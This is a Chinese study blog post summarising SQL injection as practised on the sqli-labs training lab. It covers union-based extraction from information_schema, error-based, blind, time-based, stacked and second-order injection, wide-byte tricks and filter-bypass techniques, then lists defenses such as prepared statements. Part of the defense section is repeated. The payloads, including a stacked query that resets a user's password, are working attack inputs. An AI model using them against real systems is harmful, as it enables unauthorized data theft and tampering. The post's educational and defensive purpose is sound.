2020-12-11-SQL总结


layout: post
title: SQL总结
subtitle: 学习学习
date: 2020-12-11
author: lll-yz
header-img: img/post-bg-coffee.jpg
catalog: true
tags:

  • sqli-labs

SQL注入总结

SQL常用的函数:
  • 比较运算符:< , > , <= , >= , =

  • 逻辑运算符:and , or

  • database() 当前数据库

  • length() 返回字符串的长度

  • substr() 返回字符串的一部分。

rejdJK.md.jpg

  • concat(), concat_ws() 木有分隔符的连接字符串,有分隔符的连接字符串。

  • group_concat() 连接一个组的字符串

  • ascii() 返回ASCII码值

  • if(a,b,c) 如果a正确,b执行否则c执行。

  • sleep(x) 执行后,睡眠x秒后执行。

一、什么是SQL

SQL,指结构化查询语言,作用:访问和处理数据库。 也就是说SQL语言的所有操作都是作用于数据库的,那我们的SQL注入的目的就显而易见了,即进入后台数据库,对后台数据库进行查看或修改。

二、SQL注入原理

当客户提交的数据末端未作处理或转义直接带入数据库,就造成了sql注入。攻击者通过构造不同的sql语句来实现对数据库的任意操作。

三、SQL注入分类
  • 数字型注入

    ​ 数字型:输入 id=1 and 1=1 和 1=2进行判断,首先在URL中输入?id=1 and 1=1 页面显示正常,后输入id=1 and 1=2 页面出错,说明注入类型为数字型。

    ​ 原因如下:当输入 and 1=1时,后台执行sql语句:

    select*from <> where id = 1 and 1=1;
    

    ​ 没有语法错误且逻辑判断正确,返回正常。

    ​ 当输入 and 1=2时,后台执行sql语句:

    select*from <> where id = 1 and 1=2;
    

    ​ 没有语法错误,但逻辑判断为假,所以返回错误。

    ​ 若为字符型输入上述语句,后台执行sql语句:

    select*from <> where id ='1 and 1=1';
    
    select*from <> where id = '1 and 1=2';
    

    ​ 查询语句将and语句全部转换为字符串,不会进行逻辑判断,所以不会显示错误。

  • 字符型注入

    ​ 字符型:输入 and ‘1’='1 和 and ‘1’='2来判断. 。当输入and ‘1’='1时页面正常,输入 and ‘1’='2后错误,说明注入类型为字符型。

    ​ 原因如下:当输入 and ‘1’='1时,sql语句为:

    select*from <> where id = 'x' and '1'='1';
    

    ​ 没有语法错误且逻辑判断正确,返回正常。

    ​ 当输入 and ‘1’='2时,sql语句为:

    select*from <> where id = 'x' and '1'='2'; 
    

    ​ 没有语法错误,但逻辑判断为假,所以返回错误。

  • 宽字节注入

    ​ 过滤 ’ 的时候往往利用的思路是将 ’ 转换为 \’ 。

    ​ 在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:

    ​ 1.去掉 \ 具体的方法是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(’)符号在外面:

    id=-1%df%27union select 1,user(),3–+

    ​ 2.将 ’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
    一般产生宽字节注入的PHP函数:

    replace(): 过滤 ’ \ ,将 ’ 转化为 ’ ,将 \ 转为 \,将 " 转为 " 。用思路一。

    addslaches(): 返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:’ , " , \ 。用思路一
    (防御此漏洞,要将 mysql_query 设置为 binary 的方式)

    mysql_real_escape_string(): 转义下列字符:
    \x00, \n, \r , , ', ", \x1a

    (防御,将mysql设置为gbk即可)

四、注入方法与注入步骤

​ 这里只用GET注入来举例了,POST,cookie,user-agent等与其只是注入地点不同,方法基本一致。

  • 普通注入

    ​ 步骤:先判断注入类型(以在sqli-labs上为例)

    ?id=1
    ?id=1 and 1=2    //错误则存在数字型注入
    ?id=1'
    ?id=1' --+		//若上一个出错,而现在正确则存在‘的字符型注入
    (也可能有“,’)等包裹的字符型注入,同上判断)
    

    ​ 判断字段长度:

    ?id=1 order by x  (x=1,2,3...)
    

    ​ 判断回显位置:(假设有3个字段)

    ?id=-1 union select 1,2,3
    

    ​ 查询数据库名,表名,列名,数据:(以回显位置在2,3)

    ?id=-1 union select 1,database(),3   //数据库名
    ?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3		//表名
    ?id=-1 union select 1,(select group_concat(column_name) from information_shcema.columns where table_name='表名'),3		//列名
    ?id=-1 union select 1,(select group_concat(要查询的数据) from 数据库名.表名),3		//数据
    
  • 报错注入

    ​ 这里不会回显正确的查询内容,但是会返回具体的报错内容,所以采用报错注入。

    ?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
    
  • 布尔盲注

    ​ 即不显示正确的查询内容,也不显示具体报错,只有正确和错误时返回的页面不同,采用布尔盲注。

    ?id=1' and length(database())>1 --+
    
  • 延时盲注

    ​ 页面不管对错都没有变化,使用延时注入通过页面返回时间进行判断。

    ?id=1' and if(length(database())>1,1,sleep(5)) --+
    
  • 堆叠注入

    ​ 首先要先得到正确的数据。

    ?id=1';update users set password='123' where username='Dumb'; --+ 		
    

    ​ 采用堆叠注入,查询的同时修改了Dumb的密码为:123,后查询发现成功修改。

  • 二次注入

    ​ 一开始对用户输入内容进行了过滤,但数据库内并没有进行过滤,进入数据库的内容还是我们自己输入的,并没有改变,当我们再次操作时,系统调用了数据库里的数据,这时我们注入的内容被代入SQL语句执行,就成功注入。

    注册用户名为 admin '# ,密码随意
    更改密码,后用 用户名admin 密码为更改密码,登陆成功。
    
五、SQL注入绕过姿势

1.关键字嵌套,大小写绕过:

如: and–>aandnd, and–>And

2.各种编码(对关键字编码):

  • URL编码 如:# 对应的URL编码为%23

  • 16进制编码 如:users的16进制编码为0x7573657273

  • ASCII编码等。

3.注释:

一般的末尾注释为:#,%23,–+。

4.关键字替换:

  • 空格替换:/**/, %a0, ()
  • and替换:&&
  • or替换:||
  • =替换:like
  • 引号替换:用16进制编码
六、SQL注入防御

1.过滤特殊字符,转义特殊字符。

​ **addslashes()**函数,他会在指定的预定义字符前添加反斜杠转义。(’, ", \, null)

magic_quotes_gpc开启。

​ magic_quotes_gpc=on下,我们可以不对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作,数据也会正常显示。 magic_quotes_gpc=off下,必须使用addslashes()对输入数据进行处理,但不需要stripslashes()格式化输出。因为addslashes()并未将反斜杠一起写入数据库,只是帮助MySQL完成了SQL语句的执行。

mysql_real_escape_string() 函数转义SQL语句中使用的字符串中的特殊字符。( \x00, \n, \r , , ', ", \x1a)

​ **htmlspecialchars()**函数把预定义的字符转换未HTML实体。

(&, ', ", <, >)

2.检查变量数据类型和格式。

如:

$uid=checkuid($uid);    //检测$uid是不是数字类型,不是不继续往下运行

$sql = "SELECT uid,username FROM user WHERE uid='{$uid}‘;

这段语句是为了保证了id是数字类型,checkid是一个自定义的函数,但是千万别直接里面写一个is_numeric就结束了啊,这很容易就可以用16进制或者是科学计数法去绕过的,这个还是少用吧,毕竟自写函数就像是写黑名单,肯定会有纰漏的。这里只是举一个简单的例子。

3.使用SQL语句预编译。

​ 使用PDO语句,不将变量拼接到PDO语句中,而使用占位符进行数据库的增,删,改,查。

4.关闭错误提示

​ PHP配置文件php.ini中的display_errors=off。

这段语句是为了保证了id是数字类型,checkid是一个自定义的函数,但是千万别直接里面写一个is_numeric就结束了啊,这很容易就可以用16进制或者是科学计数法去绕过的,这个还是少用吧,毕竟自写函数就像是写黑名单,肯定会有纰漏的。这里只是举一个简单的例子。

3.使用SQL语句预编译。

​ 使用PDO语句,不将变量拼接到PDO语句中,而使用占位符进行数据库的增,删,改,查。

4.关闭错误提示

​ PHP配置文件php.ini中的display_errors=off。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值